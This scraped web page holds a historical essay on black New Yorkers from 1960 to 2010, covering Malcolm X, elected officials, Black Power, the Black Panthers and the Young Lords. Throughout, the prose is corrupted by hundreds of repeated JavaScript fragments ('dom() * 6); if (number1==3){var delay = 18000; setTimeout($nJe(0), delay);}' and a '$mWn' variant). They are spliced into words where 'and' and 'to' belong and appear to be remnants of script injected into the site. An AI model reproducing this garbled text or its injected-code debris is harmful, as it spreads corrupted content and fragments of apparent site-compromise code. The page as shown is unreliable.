1960-2010

dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and’, cursive; font-size: 44px; text-transform: uppercase;”>Civil Rights, Black Power, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Beyond

dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor”>:

Despite the social measures of the domestic policy known as the Great Society of the 1960s, that decade dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the following two were a period of decline for New York in general dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and for black New Yorkers in particular. Between 1958 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1964, the manufacturing secdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, one of the strengths of the city’s economy, suffered a net loss of 87,000 jobs. In the new service-based economy, job opportunities for blacks in finance, communications, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and publishing, for example, were limited. Thus changing circumstances led dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a depression among black New Yorkers who were still seeking access dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the American economy. The Vietnam War compounded economic problems. For the first time, New York City was not strategically positioned dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to play a major role in an overseas conflict. Benefits that had accrued dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the New York economy during most previous wars simply were not by-products of the Vietnam conflict.

          The 1960s saw the continued rise dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and tragic death of Malcolm X dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the emergence of black elected officials. The period was also a time of immense creativity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and self-awareness for black New Yorkers as the Black Power Movement dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and its cultural arm, the Black Arts Movement, shaped black consciousness dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and identity. A new liberalized immigration law, commonly known as the Hart-Celler Act, which was passed in 1965, went indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to full effect on July 1, 1968, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and launched a new wave of immigration from the Caribbean dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, by the 1980s, from Africa.

          In the 1970s New York City was on the brink of bankruptcy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and its most vulnerable residents bore the brunt of its spectacular downfall. The dispersal of some of the black middle class from Harlem, among other facdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, would leave the former capital of the black world a shadow of its former self. Upwardly mobile residents moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Brooklyn or Queens, taking with them their economic resources dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and social power.

          The South Bronx became a national symbol of urban decay, but also the birthplace of an artistic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and cultural movement that would take the world by sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torm. The emergence of hip-hop had a lasting influence on the cultural, social, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and physical ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andscape of the city as rap, emceeing, breakdancing, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and graffiti spread throughout the Five Boroughs, then the country dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the world, documenting dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and reflecting on the young black urban experience.

          The 1980s brought signs of economic recovery, along with gains in the struggle for black access dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the city’s institutions of higher learning, government, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and corporate life. The passage of national affirmative action legislation opened the doors of opportunity for thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands of black New Yorkers. But the eighties were still a time of economic hardship for many, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the crack cocaine epidemic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the AIDS crisis added dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the community’s woes. The poverty rate for African Americans went from 29 percent in 1979 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to over 32 percent in 1984. Overall, blacks represented close dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 34 percent of the city’s poor, whereas their percentage in the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total population was 25 percent.

          The tenures of David Dinkins dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Rudolph Giuliani as mayors between 1990 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 2001 saw racial tensions erupt in open confrontations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and incidents of police brutality that marked that decade dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the following one under Michael Bloomberg.

Elected Officials

          In 1917, Republican Edward Austin Johnson, an educadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, author, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and atdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney born in slavery in North Carolina, was the first African American elected dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the New York State Assembly, but it dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took several decades thereafter for black New Yorkers dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be voted indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to office. Benjamin Davis, Jr., of the Communist Party who, like Johnson, represented Harlem, was elected dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the City Council in 1943. Two years later another Harlemite, Adam Claydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Powell, Jr., was the first black New Yorker in the U.S. House of Representatives. Saint Lucia-born Hulan Jack became Manhattan Borough president in 1953, the first black dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hold a key elective office in a major American city.

          Over the next two dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a half decades, the number of elected officials rapidly grew. Charles Rangel, Shirley Chisholm, Major Owens, Edolphus Towns, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Floyd Flake would be elected dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to multiple terms in the U.S. Congress. In 1968 Shirley Chisholm, U.S. Representative for the Twelfth Congressional District in Brooklyn, became the nation’s first black Congresswoman. In 1972 she launched a bid dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be the presidential nominee of the Democratic Party, the first black person dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to run for the presidency in one of the major parties.

          Black New York representation on the City Council increased from only a few members in 1965 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to seventeen at the turn of the twenty-first century. Between 1965 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1998, Percy Sutdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, David Dinkins, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and C. Virginia Fields were elected president of the Borough of Manhattan. And in 1990, David N. Dinkins became the first African-American mayor of New York City, after defeating Republican nominee Rudolph W. Giuliani.

          When New Yorker H. Carl McCall, won a special election for state comptroller in 1993, it was the first time in the hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of New York that an African American held a statewide office (he was reelected in 1994 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1998). David Paterson became lieutenant governor in January 2007 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and held the office for a year before succeeding Governor Eliot Spitzer, who resigned in March 2008. Paterson finished his term but, after a short campaign, did not run for the 2010 election.

Malcolm X

          In 1960, Malcolm X founded Muhammad Speaks, the Nation of Islam’s official newspaper. Malcolm X broke with the NOI on March 8, 1964, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and two days later the Nation ordered the family dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to vacate their Queens house, which they refused dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do. Malcolm formed the Muslim Mosque, Inc. A few days later, he explained the mission of his movement,

          The Muslim Mosque Inc. will have as its religious base the religion of Islam which will be designed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to propagate the moral reformation necessary dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to up the level of the so-called Negro community by eliminating the vices dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other evils that destroy the moral fiber of the community—this is the religious base. But the political philosophy of the Muslim Mosque will be black nationalism, the economic philosophy will be black nationalism, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the social philosophy will be black nationalism. And by political philosophy I mean we still believe in the Honorable Elijah Muhammad’s solution as complete separation.

          Throughout April he traveled dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Middle East dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Africa. Turning dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mainstream Islam, he performed the hajj in Mecca, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and became El-Hajj Malik El-Shabazz. His views concerning Islam, white people, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and separatism evolved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and on June 28, 1964, he announced the formation of the Organization of Afro-American Unity (OAAU) at the Audubon Ballroom on Broadway dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 165th Street. A secular political organization modeled on the Organization of African Unity (OAU), it was meant dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to attract a broad spectrum of African Americans around issues of education, economic security, self-defense, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and pan-African unity. Malcolm, scholar John Henrik Clarke, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and others wrote its charter.

          From July 9 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to November 24, Malcolm X dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toured Africa, the Middle East, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and London, visiting fourteen nations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and meeting with at least eight heads of state dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and numerous other leaders. He petitioned the OAU summit in Cairo dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring the cause of Afro-Americans dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the United Nations as a human rights issue. Back home in Harlem, through both of his organizations—which did not survive him—Malcolm tried dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to strengthen ties dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the civil rights movement dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and local community leaders struggling around issues such as housing dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and education.

          Threats, assaults, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and murder attempts on Malcolm dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and his followers’ lives had become a regular occurrence. On the morning of February 14, 1965, his home in Queens was firebombed. The next day, he still held an OAAU rally at the Audubon Ballroom for an audience of six hundred. On February 18, he gave his last speech, “The Black Revolution dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Its Effects Upon the Negroes of the Western Hemisphere,” at Barnard College.

          On February 21, at 3:10pm, as he started dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to speak at the Audubon, he was gunned down. Talmadge X Hayer (aka Thomas Hagan), a member of the NOI, was arrested, as were Norman 3X Butler (paroled in 1985) dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Thomas 15X Johnson (paroled in 1987). Hayer—who always claimed the other two were innocent dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and implicated four other NOI members who were never indicted—was paroled in 2010.

          Two days after Malcolm X’s murder, the Nation of Islam’s Mosque No. 7 was firebombed. It relocated dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 103 West 116th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, no longer affiliated with the NOI, was renamed Malcolm Shabazz Mosque in 1976 by Imam Warith Deen Mohammed, who had succeeded his father, Elijah.

Civil Rights, Black Power, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Beyond

          Some black New Yorkers joined the struggle for civil rights by participating in voter registration in the South. They also welcomed Martin Luther King, Jr., as he came dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the city dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rally support dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and raise funds. (An earlier visit had almost proved fatal: on September 20, 1958, King was stabbed in the chest by Izola Curry, a black woman, while audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographing copies of Stride Toward Freedom, the sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of the Montgomery bus boycott, in a Harlem sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore. Curry was later ruled insane.)

          In November 1965, at the invitation of Adam Claydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Powell, Jr., the civil rights leader preached dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overflow audiences at two successive Sunday morning services at the Abyssinian Baptist Church. On April 4, 1967, King declared his opposition dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Vietnam War during a press conference in New York City dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and reiterated his hostility at Riverside Church in Harlem. Dr. King came back dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York on March 27, 1968, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to raise support in Harlem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Queens for a planned march on Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, D.C., as part of his Poor People’s Campaign.

          The presence of the United Nations gave black New Yorkers dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and African leaders, heads of state, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and diplomats the opportunity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to meet, build international networks, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and rekindle pan-Africanism. In 1960, President Kwame Nkrumah of Ghana, Cuban Prime Minister Fidel Castro, First Secretary of the Communist Party of the Soviet Union Nikita Khrushchev, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Sam Nujoma, leader of the Southwest Africa Peoples Organization dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and future first president of Nambia, visited Harlem. Castro stayed at the Theresa Hotel.

          One of the early formative influences of the Black Power Movement dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took place in New York on February 15, 1961, at the United Nations. About sixty African-American men dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and women made their way dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Security Council Chamber. As they denounced the UN policy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toward the Congo dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the killing of its premier, Patrice Lumumba, they fought with the UN police. Outside, demonstradom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors including LeRoi Jones were beaten dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and arrested. This dramatic event, in the words of scholar Komozi Woodard, “marked the birth of the New Afro-American Nationalism.” One that, beyond domestic civil rights, was also interested in liberation from colonialism in Africa dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the search for a new black, African-rooted, identity.

          Trinidad-born Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokely Carmichael, chairman of the Student Nonviolent Coordinating Committee (SNCC), dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and fellow SNCC worker Willie Ricks raised the call for “Black Power” in June 1966. Many of the movement’s evolving tenets dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and practices were rooted in the teachings of New Yorkers Marcus Garvey, Carlos Cooks, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Malcolm X. It is not surprising, then, that New York was the place where some of the most developed social dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and cultural expressions of black power concepts dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ideas emerged.

          Carmichael lived in Harlem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Bronx, where he attended the prestigious Bronx High School of Science before graduating from Howard University with a BA in philosophy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and turning down a Harvard scholarship for graduate studies. As he was involved in the Civil Rights movement, most of Carmichael’s early activities dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took place in the South, where he was jailed numerous times. He became chairman of the SNCC in 1966 but resigned the following year dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to join the Black Panther Party. After immigrating dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Guinea in 1968, he left the BPP in 1969 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took the name Kwame Ture in homage dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Pan-Africanist Kwame Nkrumah, Ghana’s first president, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Ahmed Sékou Touré, president of Guinea.

          The Black Panther Party’s main New York chapter, located at 2026 Seventh Avenue in Harlem, was established in 1968. It was considered dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be the central office for the entire state. The BPP also had branches in Brooklyn, the Bronx, Corona-East Elmhurst, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Jamaica in Queens, on Staten Isldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in Mount Vernon. Like other chapters, the BPP organized a free breakfast program for schoolchildren dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and also opened a health clinic in the Bronx.

          The New York chapter gained national attention when in April 1969, District Atdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney Frank Hogan charged twenty-one Panthers with conspiracy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bomb department sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Brooklyn Botanic Garden dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dynamite railroad tracks. Among the accused were Harlemites Lumumba Abdul Shakur dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Afeni Shakur (mother of Tupac Shakur). In all, twelve members were arrested in five raids at 5:00 a.m. on April 2; others were already in cusdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tody, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a few escaped capture. The group became known as the “Panther 21.”

          A long battle ensued dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lower the bails set at $100,000 for each defendant. It went up dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the U.S. Supreme Court. By the spring of 1970, thirteen Panthers, the “Panther 13,” were still in jail. But on May 13, 1971, after forty-five minutes of jury deliberation, all defendants were acquitted. Although a vindication dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of sorts, the long time the Panthers spent in jail dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the disruption of the trial had unsettled the Party dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and hampered some of its activities.

          In addition, the national leadership expelled the Panther 13, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and then the entire New York chapter, which in turn rejected national leaders Huey Newdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and David Hilliard dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and established a new national headquarters of the Panther Party with its own newspaper, Right On, as the organ of the East Coast Black Panther Party. This Party was short lived. In New York as in the rest of the country, the FBI COINTELPRO—a covert program mostly designed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to infiltrate dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and disrupt leftist, civil rights, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Black Power organizations—had successfully split the leadership.

          In 1969, the New York chapter of the Chicago-born Young Lords was formed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and served as the East Coast center under the leadership of Felipe Luciano, an Afro-Puerdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Rican dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a member of The Original Last Poets. The New York chapter split from the central organization the following year dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and became the Young Lords Party. Influenced by the Black Power Movement, it modeled itself partly after the Black Panthers, notably with its 13-point Program dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Platform dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and its 10-point Health Program.

